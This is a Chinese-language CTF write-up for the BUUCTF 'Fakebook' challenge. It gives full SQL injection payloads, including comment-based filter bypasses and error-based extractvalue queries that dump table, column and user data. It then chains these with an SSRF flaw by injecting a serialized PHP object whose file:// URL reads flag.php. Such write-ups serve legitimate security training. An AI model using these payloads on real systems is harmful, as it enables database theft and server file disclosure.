BUUCTF[网鼎杯2018]Fakebook

BUUCTF[网鼎杯2018]Fakebook_第1张图片

我们注册一个账号看看:

BUUCTF[网鼎杯2018]Fakebook_第2张图片

注册成功如下: 

BUUCTF[网鼎杯2018]Fakebook_第3张图片

这里需要注意,王小帥是可以点击的,url变为:http://df1a9115-0e1d-43b2-97e0-2d5ba843acf8.node3.buuoj.cn/view.php?no=1 可能存在sql注入,我们试试

?no=1 and 1=1

BUUCTF[网鼎杯2018]Fakebook_第4张图片

 

?no=1 and 1=2

BUUCTF[网鼎杯2018]Fakebook_第5张图片

回显不同,存在SQL注入,

试试数据库名称,

?no=1 union select database();

BUUCTF[网鼎杯2018]Fakebook_第6张图片

尝试一些绕过, 

?no=1 ununionion seselectlect database();   no
?no=1 uNion sElEct database();              no
?no=1/**/union/**/select/**/database();     yes 但是字段数不对,
?no=0/**/union/**/select/**/1,2,3,4%23      yes 测试出来字段数为4,回显点位为2
?no=0/**/union/**/select/**/1,database(),3,4; 爆数据库名。

BUUCTF[网鼎杯2018]Fakebook_第7张图片

可以发现是整型注入,而且可以使用union注入配合注释符进行绕过,下面使用union+报错注入来注入,为的是复习SQL注入。

爆库payload: 

?no=0/**/union/**/select/**/1,group_concat(table_name),3,4 from information_schema.tables where table_schema = 'fakebook'%23
?no=1 and extractvalue(1,concat('~',(select database())))#

 

BUUCTF[网鼎杯2018]Fakebook_第8张图片

数据库名称:fakebook,路径:/var/www/html/db.php

爆表名payload:

?no=1 and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'fakebook')))#

BUUCTF[网鼎杯2018]Fakebook_第9张图片

BUUCTF[网鼎杯2018]Fakebook_第10张图片

 表名:users

爆字段名:

?no=1 and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'fakebook' and table_name = 'users')))#

BUUCTF[网鼎杯2018]Fakebook_第11张图片

字段名:no,username,passwd,data 

爆字段:

?no=1 and extractvalue(1,concat('~',(select group_concat(username,'~',passwd) from users)))#

emmmmm,wtf,这不是刚刚注册的信息吗,我们查查另外两个字段试试,

?no=1 and extractvalue(1,concat('~',(select group_concat(no,'~',data) from users)))#

BUUCTF[网鼎杯2018]Fakebook_第12张图片

以上,根据报错信息可以知道网站绝对路径(/var/www/html/)和数据库里的数据都是序列化存储,反序列化读取。

我们分别盲猜访问flag.php和robots.txt,或者使用目录扫描工具扫描。

说明存在flag.php。

我们访问robots.txt

下载泄露的源码备份文件,源码如下:

name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

可以看到,用户在注册填的bolg会调用get()函数使用curl发起网络请求获得blog内容并显示出来,这里因为curl_exec()使用不当造成SSRF(服务器端请求伪造)。注册的时候是不能直接利用SSRF漏洞读flag.php的,因为注册的时候限制了http(s)协议。 

可以看到,curl是允许file协议的,所以这里我们想到利用这个读取/var/www/html/flag.php

我们需要构造反序列化内容,


编译运行,构造好的序列化之后的流如下: 

O:8:"UserInfo":3:{s:4:"name";s:3:"wxs";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

然后在sql注入点构造payload如下:

?no=0/**/union/**/select/**/1,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:3:"wxs";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27#

 BUUCTF[网鼎杯2018]Fakebook_第13张图片

base64解码data得flag。

漏洞利用:SQL注入+SSRF+PHP反序列化漏洞 

思路:首先注册用户,然后登录,在注册的时候发现,blog一栏是跳转,(后面看到源码发现存在SSRF漏洞),然后登录成功,点击姓名,发现url存在sql注入,再得到数据信息之后,发现网站绝对路径(/var/www/html/)以及数据库里的数据存储方式为序列化存储,反序列化读取的。这里想到自己构造序列化之后的攻击流,使其反序列化,利用SSRF file协议跳转到flag.php,得到flag。

你可能感兴趣的:(CTF日记,数据库,安全漏洞)